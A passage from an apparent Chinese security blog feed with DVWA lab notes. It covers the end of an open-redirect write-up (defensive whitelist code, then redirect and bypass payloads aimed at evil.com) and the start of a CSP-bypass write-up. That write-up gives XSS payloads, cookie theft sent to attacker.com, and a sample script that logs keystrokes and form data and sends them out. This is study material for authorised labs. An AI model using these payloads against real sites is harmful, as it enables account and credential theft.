class="subst">$redirect</span>&quot;</span>);</span><br><span class="line"><span class="keyword">exit</span>;</span><br></pre></td></tr></table></figure><h3 id="框架层面"><a href="#框架层面" class="headerlink" title="框架层面"></a>框架层面</h3><h4 id="Laravel示例"><a href="#Laravel示例" class="headerlink" title="Laravel示例"></a>Laravel示例</h4><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 使用Laravel的重定向</span></span><br><span class="line"><span class="title class_">Route</span>::<span class="title function_ invoke__">get</span>(<span class="string">&#x27;/redirect&#x27;</span>, function() &#123;</span><br><span class="line">    <span class="variable">$redirect</span> = <span class="title function_ invoke__">request</span>(<span class="string">&#x27;redirect&#x27;</span>);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 白名单检查</span></span><br><span class="line">    <span class="variable">$allowed</span> = [</span><br><span class="line">        <span class="title function_ invoke__">route</span>(<span class="string">&#x27;dashboard&#x27;</span>),</span><br><span class="line">        <span class="title function_ invoke__">route</span>(<span class="string">&#x27;profile&#x27;</span>),</span><br><span class="line">        <span class="string">&#x27;https://trusted-site.com/page&#x27;</span></span><br><span class="line">    ];</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (!<span class="title function_ invoke__">in_array</span>(<span class="variable">$redirect</span>, <span class="variable">$allowed</span>)) &#123;</span><br><span class="line">        <span class="title function_ invoke__">abort</span>(<span class="number">400</span>, <span class="string">&#x27;Invalid redirect&#x27;</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> <span class="title function_ invoke__">redirect</span>(<span class="variable">$redirect</span>);</span><br><span class="line">&#125;);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 或使用intended()方法（Laravel内置安全重定向）</span></span><br><span class="line"><span class="keyword">return</span> <span class="title function_ invoke__">redirect</span>()-&gt;<span class="title function_ invoke__">intended</span>(<span class="string">&#x27;/dashboard&#x27;</span>);</span><br></pre></td></tr></table></figure><h4 id="Express-js示例"><a href="#Express-js示例" class="headerlink" title="Express.js示例"></a>Express.js示例</h4><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">app.<span class="title function_">get</span>(<span class="string">&#x27;/redirect&#x27;</span>, <span class="function">(<span class="params">req, res</span>) =&gt;</span> &#123;</span><br><span class="line">    <span class="keyword">const</span> redirect = req.<span class="property">query</span>.<span class="property">redirect</span>;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 白名单</span></span><br><span class="line">    <span class="keyword">const</span> allowed = [</span><br><span class="line">        <span class="string">&#x27;/dashboard&#x27;</span>,</span><br><span class="line">        <span class="string">&#x27;/profile&#x27;</span>,</span><br><span class="line">        <span class="string">&#x27;https://trusted-site.com/page&#x27;</span></span><br><span class="line">    ];</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (!allowed.<span class="title function_">includes</span>(redirect)) &#123;</span><br><span class="line">        <span class="keyword">return</span> res.<span class="title function_">status</span>(<span class="number">400</span>).<span class="title function_">send</span>(<span class="string">&#x27;Invalid redirect&#x27;</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    res.<span class="title function_">redirect</span>(redirect);</span><br><span class="line">&#125;);</span><br></pre></td></tr></table></figure><h3 id="监控层面"><a href="#监控层面" class="headerlink" title="监控层面"></a>监控层面</h3><h4 id="1-记录所有重定向"><a href="#1-记录所有重定向" class="headerlink" title="1. 记录所有重定向"></a>1. 记录所有重定向</h4><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">logRedirect</span>(<span class="params"><span class="variable">$user</span>, <span class="variable">$target</span>, <span class="variable">$success</span></span>) </span>&#123;</span><br><span class="line">    <span class="variable">$log</span> = [</span><br><span class="line">        <span class="string">&#x27;timestamp&#x27;</span> =&gt; <span class="title function_ invoke__">date</span>(<span class="string">&#x27;Y-m-d H:i:s&#x27;</span>),</span><br><span class="line">        <span class="string">&#x27;user&#x27;</span> =&gt; <span class="variable">$user</span>,</span><br><span class="line">        <span class="string">&#x27;target&#x27;</span> =&gt; <span class="variable">$target</span>,</span><br><span class="line">        <span class="string">&#x27;success&#x27;</span> =&gt; <span class="variable">$success</span>,</span><br><span class="line">        <span class="string">&#x27;ip&#x27;</span> =&gt; <span class="variable">$_SERVER</span>[<span class="string">&#x27;REMOTE_ADDR&#x27;</span>],</span><br><span class="line">        <span class="string">&#x27;user_agent&#x27;</span> =&gt; <span class="variable">$_SERVER</span>[<span class="string">&#x27;HTTP_USER_AGENT&#x27;</span>]</span><br><span class="line">    ];</span><br><span class="line"></span><br><span class="line">    <span class="title function_ invoke__">file_put_contents</span>(</span><br><span class="line">        <span class="string">&#x27;/var/log/security/redirects.log&#x27;</span>,</span><br><span class="line">        <span class="title function_ invoke__">json_encode</span>(<span class="variable">$log</span>) . <span class="string">&quot;\n&quot;</span>,</span><br><span class="line">        FILE_APPEND</span><br><span class="line">    );</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="2-检测异常重定向模式"><a href="#2-检测异常重定向模式" class="headerlink" title="2. 检测异常重定向模式"></a>2. 检测异常重定向模式</h4><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 检测大量失败的重定向尝试</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">detectRedirectAbuse</span>(<span class="params"><span class="variable">$ip</span></span>) </span>&#123;</span><br><span class="line">    <span class="variable">$recent_failures</span> = <span class="title function_ invoke__">countRecentFailures</span>(<span class="variable">$ip</span>, <span class="number">300</span>); <span class="comment">// 5分钟</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (<span class="variable">$recent_failures</span> &gt; <span class="number">10</span>) &#123;</span><br><span class="line">        <span class="title function_ invoke__">alertSecurity</span>(<span class="string">&quot;Possible open redirect abuse from <span class="subst">$ip</span>&quot;</span>);</span><br><span class="line">        <span class="title function_ invoke__">blockIP</span>(<span class="variable">$ip</span>, <span class="number">3600</span>); <span class="comment">// 封禁1小时</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><hr><h2 id="总结对比"><a href="#总结对比" class="headerlink" title="总结对比"></a>总结对比</h2><table><thead><tr><th>特性</th><th>Low</th><th>Medium</th><th>High</th><th>Impossible</th></tr></thead><tbody><tr><td>URL验证</td><td>❌ 无</td><td>正则包含</td><td>parse_url</td><td>严格白名单</td></tr><tr><td>域名检查</td><td>❌</td><td>弱检查</td><td>白名单</td><td>严格白名单</td></tr><tr><td>协议检查</td><td>❌</td><td>http&#x2F;https</td><td>http&#x2F;https</td><td>http&#x2F;https</td></tr><tr><td>匹配方式</td><td>N&#x2F;A</td><td>包含匹配</td><td>精确匹配</td><td>完全匹配</td></tr><tr><td>CSRF防护</td><td>❌</td><td>❌</td><td>❌</td><td>✅</td></tr><tr><td>审计日志</td><td>❌</td><td>❌</td><td>❌</td><td>✅</td></tr><tr><td>攻击难度</td><td>极易</td><td>简单</td><td>中等</td><td>极难</td></tr></tbody></table><hr><h2 id="常用Payload集合"><a href="#常用Payload集合" class="headerlink" title="常用Payload集合"></a>常用Payload集合</h2><h3 id="基础Payload"><a href="#基础Payload" class="headerlink" title="基础Payload"></a>基础Payload</h3><figure class="highlight routeros"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 外部重定向</span></span><br><span class="line">?<span class="attribute">redirect</span>=https://evil.com</span><br><span class="line">?<span class="attribute">redirect</span>=http://attacker.com/phishing</span><br><span class="line"></span><br><span class="line"><span class="comment"># 协议相对URL</span></span><br><span class="line">?<span class="attribute">redirect</span>=//evil.com</span><br><span class="line"></span><br><span class="line"><span class="comment"># JavaScript协议</span></span><br><span class="line">?<span class="attribute">redirect</span>=javascript:alert(1)</span><br><span class="line">?<span class="attribute">redirect</span>=data:text/html,&lt;script&gt;alert(1)&lt;/script&gt;</span><br></pre></td></tr></table></figure><h3 id="绕过技巧"><a href="#绕过技巧" class="headerlink" title="绕过技巧"></a>绕过技巧</h3><figure class="highlight awk"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 域名后缀</span></span><br><span class="line">?redirect=http:<span class="regexp">//</span>example.com.evil.com</span><br><span class="line"></span><br><span class="line"><span class="comment"># @符号</span></span><br><span class="line">?redirect=http:<span class="regexp">//</span>example.com@evil.com</span><br><span class="line"></span><br><span class="line"><span class="comment"># URL参数</span></span><br><span class="line">?redirect=http:<span class="regexp">//</span>evil.com?ref=http:<span class="regexp">//</span>example.com</span><br><span class="line"></span><br><span class="line"><span class="comment"># Fragment</span></span><br><span class="line">?redirect=http:<span class="regexp">//</span>evil.com<span class="comment">#http://example.com</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 反斜杠</span></span><br><span class="line">?redirect=http:<span class="regexp">//</span>example.com\@evil.com</span><br><span class="line"></span><br><span class="line"><span class="comment"># URL编码</span></span><br><span class="line">?redirect=http:<span class="regexp">//</span>evil.com%<span class="number">3</span>Furl%<span class="number">3</span>Dhttp:<span class="regexp">//</span>example.com</span><br><span class="line"></span><br><span class="line"><span class="comment"># 换行符</span></span><br><span class="line">?redirect=http:<span class="regexp">//</span>example.com%<span class="number">0</span>D%<span class="number">0</span>ALocation:%<span class="number">20</span>http:<span class="regexp">//</span>evil.com</span><br></pre></td></tr></table></figure><hr><h2 id="实战建议"><a href="#实战建议" class="headerlink" title="实战建议"></a>实战建议</h2><p><strong>渗透测试清单：</strong></p><ol><li>✅ 测试是否接受外部URL</li><li>✅ 尝试各种协议（http, https, javascript, data）</li><li>✅ 测试@符号绕过</li><li>✅ 测试域名后缀绕过</li><li>✅ 测试URL参数&#x2F;fragment绕过</li><li>✅ 测试解析器差异</li><li>✅ 检查是否有确认页面</li></ol><p><strong>防御清单：</strong></p><ol><li>✅ 使用白名单</li><li>✅ 只允许相对路径（如果可能）</li><li>✅ 验证协议、域名、端口</li><li>✅ 使用ID映射</li><li>✅ 添加确认页面（外部跳转）</li><li>✅ 记录所有重定向</li><li>✅ 实施CSRF防护</li></ol><p><strong>道德准则：</strong></p><ul><li>只在授权环境测试</li><li>不构造真实钓鱼页面</li><li>学习是为了防御开放重定向攻击</li></ul>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;目录&quot;&gt;&lt;a href=&quot;#目录&quot; class=&quot;headerlink&quot; title=&quot;目录&quot;&gt;&lt;/a&gt;目录&lt;/h2&gt;&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;#%E6%BC%8F%E6%B4%9E%E7%AE%80%E4%BB%8B&quot;&gt;漏洞简介&lt;/a&gt;&lt;/li&gt;
&lt;l</summary>
      
    
    
    
    <category term="dvwa靶场学习笔记" scheme="http://caixuya.github.io/categories/dvwa%E9%9D%B6%E5%9C%BA%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"/>
    
    
  </entry>
  
  <entry>
    <title>DVWA - CSP Bypass 攻防练习详解</title>
    <link href="http://caixuya.github.io/2025/11/20/CSP_Bypass_%E6%94%BB%E9%98%B2%E7%BB%83%E4%B9%A0/"/>
    <id>http://caixuya.github.io/2025/11/20/CSP_Bypass_%E6%94%BB%E9%98%B2%E7%BB%83%E4%B9%A0/</id>
    <published>2025-11-20T15:31:37.109Z</published>
    <updated>2025-11-20T15:29:24.632Z</updated>
    
    <content type="html"><![CDATA[<h2 id="目录"><a href="#目录" class="headerlink" title="目录"></a>目录</h2><ul><li><a href="#%E6%BC%8F%E6%B4%9E%E7%AE%80%E4%BB%8B">漏洞简介</a></li><li><a href="#low-%E9%9A%BE%E5%BA%A6">Low 难度</a></li><li><a href="#medium-%E9%9A%BE%E5%BA%A6">Medium 难度</a></li><li><a href="#high-%E9%9A%BE%E5%BA%A6">High 难度</a></li><li><a href="#impossible-%E9%9A%BE%E5%BA%A6">Impossible 难度</a></li><li><a href="#%E9%98%B2%E5%BE%A1%E5%BB%BA%E8%AE%AE">防御建议</a></li></ul><hr><h2 id="漏洞简介"><a href="#漏洞简介" class="headerlink" title="漏洞简介"></a>漏洞简介</h2><h3 id="什么是CSP（Content-Security-Policy）？"><a href="#什么是CSP（Content-Security-Policy）？" class="headerlink" title="什么是CSP（Content Security Policy）？"></a>什么是CSP（Content Security Policy）？</h3><p>CSP（内容安全策略）是一个额外的安全层，用于检测并削弱某些特定类型的攻击，包括跨站脚本（XSS）和数据注入攻击。</p><p><strong>CSP的目的：</strong></p><ul><li>防止XSS攻击</li><li>防止点击劫持</li><li>防止数据注入</li><li>限制资源加载来源</li><li>限制脚本执行</li></ul><p><strong>CSP工作原理：</strong></p><figure class="highlight crmsh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">浏览器加载页面</span><br><span class="line">    ↓</span><br><span class="line">读取CSP策略（HTTP头或<span class="keyword">meta</span>标签）</span><br><span class="line">    ↓</span><br><span class="line">检查每个资源和脚本</span><br><span class="line">    ↓</span><br><span class="line">符合策略 → 允许执行</span><br><span class="line">不符合策略 → 阻止并报告</span><br></pre></td></tr></table></figure><p><strong>CSP指令类型：</strong></p><table><thead><tr><th>指令</th><th>作用</th><th>示例</th></tr></thead><tbody><tr><td>default-src</td><td>默认策略</td><td>default-src ‘self’</td></tr><tr><td>script-src</td><td>JavaScript来源</td><td>script-src ‘self’ ‘unsafe-inline’</td></tr><tr><td>style-src</td><td>CSS来源</td><td>style-src ‘self’</td></tr><tr><td>img-src</td><td>图片来源</td><td>img-src * data:</td></tr><tr><td>connect-src</td><td>AJAX&#x2F;WebSocket来源</td><td>connect-src ‘self’</td></tr><tr><td>font-src</td><td>字体来源</td><td>font-src ‘self’</td></tr><tr><td>object-src</td><td>插件来源</td><td>object-src ‘none’</td></tr><tr><td>frame-src</td><td>iframe来源</td><td>frame-src ‘self’</td></tr></tbody></table><p><strong>CSP关键字：</strong></p><ul><li><code>&#39;none&#39;</code> - 不允许任何来源</li><li><code>&#39;self&#39;</code> - 只允许同源</li><li><code>&#39;unsafe-inline&#39;</code> - 允许内联脚本（不安全）</li><li><code>&#39;unsafe-eval&#39;</code> - 允许eval()（不安全）</li><li><code>&#39;nonce-&#123;random&#125;&#39;</code> - 允许带指定nonce的脚本</li><li><code>&#39;sha256-&#123;hash&#125;&#39;</code> - 允许指定哈希的脚本</li><li><code>https:</code> - 只允许HTTPS</li><li><code>*.example.com</code> - 允许指定域名</li></ul><p><strong>什么是CSP Bypass（CSP绕过）？</strong></p><p>CSP Bypass是指攻击者通过各种技巧绕过CSP策略，执行未授权的脚本或加载恶意资源。</p><p><strong>常见CSP Bypass技术：</strong></p><ol><li><strong>不安全的配置</strong> - <code>&#39;unsafe-inline&#39;</code>, <code>&#39;unsafe-eval&#39;</code></li><li><strong>白名单域名</strong> - 利用白名单中的JSONP端点</li><li><strong>Nonce&#x2F;Hash泄露</strong> - 获取合法脚本的nonce</li><li><strong>Base标签注入</strong> - 改变相对路径的基准</li><li><strong>文件上传漏洞</strong> - 上传到允许的域名</li><li><strong>开放重定向</strong> - 利用允许域名的重定向</li></ol><p><strong>危害：</strong></p><ul><li>绕过XSS防护</li><li>执行任意JavaScript</li><li>窃取敏感数据</li><li>完全控制页面</li></ul><hr><h2 id="Low-难度"><a href="#Low-难度" class="headerlink" title="Low 难度"></a>Low 难度</h2><h3 id="攻击目标"><a href="#攻击目标" class="headerlink" title="攻击目标"></a>攻击目标</h3><p>没有设置CSP或CSP配置极其宽松，完全无防护。</p><h3 id="后端代码分析"><a href="#后端代码分析" class="headerlink" title="后端代码分析"></a>后端代码分析</h3><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// ★★★ Low难度：完全没有CSP防护 ★★★</span></span><br><span class="line"><span class="comment">// 没有设置任何CSP HTTP头</span></span><br><span class="line"><span class="comment">// 任何脚本都可以执行</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 获取用户输入</span></span><br><span class="line"><span class="variable">$name</span> = <span class="variable">$_GET</span>[<span class="string">&#x27;name&#x27;</span>];</span><br><span class="line"></span><br><span class="line"><span class="comment">// ★★★ 危险操作：直接输出用户输入，无任何过滤 ★★★</span></span><br><span class="line"><span class="comment">// 没有htmlspecialchars()编码</span></span><br><span class="line"><span class="comment">// 没有strip_tags()过滤</span></span><br><span class="line"><span class="comment">// 完全未防护的XSS漏洞</span></span><br><span class="line"><span class="keyword">echo</span> <span class="string">&quot;Hello, &quot;</span> . <span class="variable">$name</span>;</span><br><span class="line"></span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><p><strong>HTML部分：</strong></p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;!DOCTYPE <span class="keyword">html</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">html</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">head</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">title</span>&gt;</span>CSP Bypass - Low<span class="tag">&lt;/<span class="name">title</span>&gt;</span></span><br><span class="line">    <span class="comment">&lt;!-- ★★★ 问题：完全没有CSP meta标签 ★★★ --&gt;</span></span><br><span class="line">    <span class="comment">&lt;!-- 应该有： --&gt;</span></span><br><span class="line">    <span class="comment">&lt;!-- &lt;meta http-equiv=&quot;Content-Security-Policy&quot; content=&quot;...&quot;&gt; --&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">head</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">body</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">h1</span>&gt;</span>CSP Bypass Test<span class="tag">&lt;/<span class="name">h1</span>&gt;</span></span><br><span class="line"></span><br><span class="line">    <span class="tag">&lt;<span class="name">form</span> <span class="attr">method</span>=<span class="string">&quot;GET&quot;</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">input</span> <span class="attr">type</span>=<span class="string">&quot;text&quot;</span> <span class="attr">name</span>=<span class="string">&quot;name&quot;</span> <span class="attr">placeholder</span>=<span class="string">&quot;Your name&quot;</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">button</span> <span class="attr">type</span>=<span class="string">&quot;submit&quot;</span>&gt;</span>Submit<span class="tag">&lt;/<span class="name">button</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">form</span>&gt;</span></span><br><span class="line"></span><br><span class="line">    <span class="tag">&lt;<span class="name">div</span> <span class="attr">id</span>=<span class="string">&quot;output&quot;</span>&gt;</span></span><br><span class="line">        <span class="meta">&lt;?php</span></span><br><span class="line"><span class="meta">        // 直接输出用户输入</span></span><br><span class="line"><span class="meta">        // 没有任何防护</span></span><br><span class="line"><span class="meta">        if(isset($_GET[&#x27;name&#x27;])) &#123;</span></span><br><span class="line"><span class="meta">            echo &quot;Hello, &quot; . $_GET[&#x27;name&#x27;];</span></span><br><span class="line"><span class="meta">        &#125;</span></span><br><span class="line"><span class="meta">        ?&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">div</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">body</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">html</span>&gt;</span></span><br></pre></td></tr></table></figure><h3 id="漏洞分析"><a href="#漏洞分析" class="headerlink" title="漏洞分析"></a>漏洞分析</h3><p><strong>核心问题：</strong></p><ol><li><strong>无CSP策略</strong> - 没有设置Content-Security-Policy头</li><li><strong>无输入过滤</strong> - 直接输出用户输入</li><li><strong>无输出编码</strong> - 不使用htmlspecialchars()</li><li><strong>所有脚本可执行</strong> - 内联、外部、eval()全部允许</li></ol><p><strong>HTTP响应头（缺失CSP）：</strong></p><figure class="highlight http"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">HTTP/1.1</span> <span class="number">200</span> OK</span><br><span class="line"><span class="attribute">Server</span><span class="punctuation">: </span>Apache/2.4.41</span><br><span class="line"><span class="attribute">Content-Type</span><span class="punctuation">: </span>text/html; charset=UTF-8</span><br><span class="line">&lt;!-- ★★★ 缺少 Content-Security-Policy 头 ★★★ --&gt;</span><br><span class="line"></span><br><span class="line"><span class="language-xml"><span class="meta">&lt;!DOCTYPE <span class="keyword">html</span>&gt;</span></span></span><br><span class="line"><span class="language-xml">...</span></span><br></pre></td></tr></table></figure><h3 id="攻击步骤"><a href="#攻击步骤" class="headerlink" title="攻击步骤"></a>攻击步骤</h3><h4 id="步骤1：基础XSS攻击（无CSP阻止）"><a href="#步骤1：基础XSS攻击（无CSP阻止）" class="headerlink" title="步骤1：基础XSS攻击（无CSP阻止）"></a>步骤1：基础XSS攻击（无CSP阻止）</h4><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">&lt;!-- 攻击1：&lt;script&gt;标签 --&gt;</span></span><br><span class="line">?name=<span class="tag">&lt;<span class="name">script</span>&gt;</span><span class="language-javascript"><span class="title function_">alert</span>(<span class="string">&#x27;XSS&#x27;</span>)</span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="comment">&lt;!-- 攻击2：事件处理器 --&gt;</span></span><br><span class="line">?name=<span class="tag">&lt;<span class="name">img</span> <span class="attr">src</span>=<span class="string">x</span> <span class="attr">onerror</span>=<span class="string">alert(</span>&#x27;<span class="attr">XSS</span>&#x27;)&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="comment">&lt;!-- 攻击3：外部脚本 --&gt;</span></span><br><span class="line">?name=<span class="tag">&lt;<span class="name">script</span> <span class="attr">src</span>=<span class="string">&quot;http://evil.com/xss.js&quot;</span>&gt;</span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="comment">&lt;!-- 所有攻击都会成功，因为没有CSP防护 --&gt;</span></span><br></pre></td></tr></table></figure><h4 id="步骤2：窃取Cookie"><a href="#步骤2：窃取Cookie" class="headerlink" title="步骤2：窃取Cookie"></a>步骤2：窃取Cookie</h4><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">?name=<span class="tag">&lt;<span class="name">script</span>&gt;</span><span class="language-javascript"></span></span><br><span class="line"><span class="language-javascript"><span class="title function_">fetch</span>(<span class="string">&#x27;http://attacker.com/steal.php?c=&#x27;</span> + <span class="variable language_">document</span>.<span class="property">cookie</span>);</span></span><br><span class="line"><span class="language-javascript"></span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br></pre></td></tr></table></figure><h4 id="步骤3：加载外部恶意脚本"><a href="#步骤3：加载外部恶意脚本" class="headerlink" title="步骤3：加载外部恶意脚本"></a>步骤3：加载外部恶意脚本</h4><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">?name=<span class="tag">&lt;<span class="name">script</span> <span class="attr">src</span>=<span class="string">&quot;http://attacker.com/malware.js&quot;</span>&gt;</span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br></pre></td></tr></table></figure><p><strong>malware.js内容：</strong></p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 完全控制页面</span></span><br><span class="line"><span class="variable language_">document</span>.<span class="property">body</span>.<span class="property">innerHTML</span> = <span class="string">&#x27;&lt;h1&gt;Hacked!&lt;/h1&gt;&#x27;</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 窃取所有表单数据</span></span><br><span class="line"><span class="variable language_">document</span>.<span class="title function_">querySelectorAll</span>(<span class="string">&#x27;form&#x27;</span>).<span class="title function_">forEach</span>(<span class="function"><span class="params">form</span> =&gt;</span> &#123;</span><br><span class="line">    form.<span class="title function_">addEventListener</span>(<span class="string">&#x27;submit&#x27;</span>, <span class="function"><span class="params">e</span> =&gt;</span> &#123;</span><br><span class="line">        e.<span class="title function_">preventDefault</span>();</span><br><span class="line">        <span class="title function_">fetch</span>(<span class="string">&#x27;http://attacker.com/steal&#x27;</span>, &#123;</span><br><span class="line">            <span class="attr">method</span>: <span class="string">&#x27;POST&#x27;</span>,</span><br><span class="line">            <span class="attr">body</span>: <span class="keyword">new</span> <span class="title class_">FormData</span>(form)</span><br><span class="line">        &#125;);</span><br><span class="line">    &#125;);</span><br><span class="line">&#125;);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 键盘记录</span></span><br><span class="line"><span class="variable language_">document</span>.<span class="title function_">addEventListener</span>(<span class="string">&#x27;keypress&#x27;</span>, <span class="function"><span class="params">e</span> =&gt;</span> &#123;</span><br><span class="line">    <span class="title function_">fetch</span>(<span class="string">&#x27;http://attacker.com/log?key=&#x27;</span> + e.<span class="property">key</span>);</span><br><span class="line">&#125;);</span><br></pre></td></tr></table></figure><h4 id="步骤4：使用eval"><a href="#步骤4：使用eval" class="headerlink" title="步骤4：使用eval()"></a>步骤4：使用eval()</h4><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">&lt;!-- eval()可以正常执行 --&gt;</span></span><br><span class="line">?name=<span class="tag">&lt;<span class="name">script</span>&gt;</span><span class="language-javascript"><span class="built_in">eval</span>(<span class="string">&#x27;alert(&quot;XSS&quot;)&#x27;</span>)</span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br></pre></td></tr></table></figure><hr><h2 id="Medium-难度"><a href="#Medium-难度" class="headerlink" title="Medium 难度"></a>Medium 难度</h2><h3 id="攻击目标-1"><a href="#攻击目标-1" class="headerlink" 